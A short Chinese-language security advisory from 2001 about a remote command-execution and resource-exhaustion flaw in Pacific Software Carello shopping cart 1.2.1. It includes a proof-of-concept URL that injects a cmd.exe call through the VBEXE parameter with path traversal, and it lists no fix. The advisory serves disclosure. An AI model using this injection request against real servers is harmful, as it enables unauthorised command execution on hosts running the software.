太平洋软件Carello shopping cart存在命令可执行漏洞发布时间：2001-05-21 更新时间：2001-05-21 严重程度：高 威胁程度：普通用户访问权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 Pacific Software Carello 1.2.1详细描述 远程用户可以在使用Carello shopping cart软件的主机上执行任意命令， 通过请求一特殊构造的HTTP请求会引起inetinfo.exe消耗所有系统资源， 拒绝任何连接，如果HTTP请求中有执行代码，它可以以WEB的权利执行。 测试代码 http://foo.org/scripts/Carello/Carello.dllCARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe20/c20echo20test>c:\defcom.txt 解决方案 尚无 相关信息 |
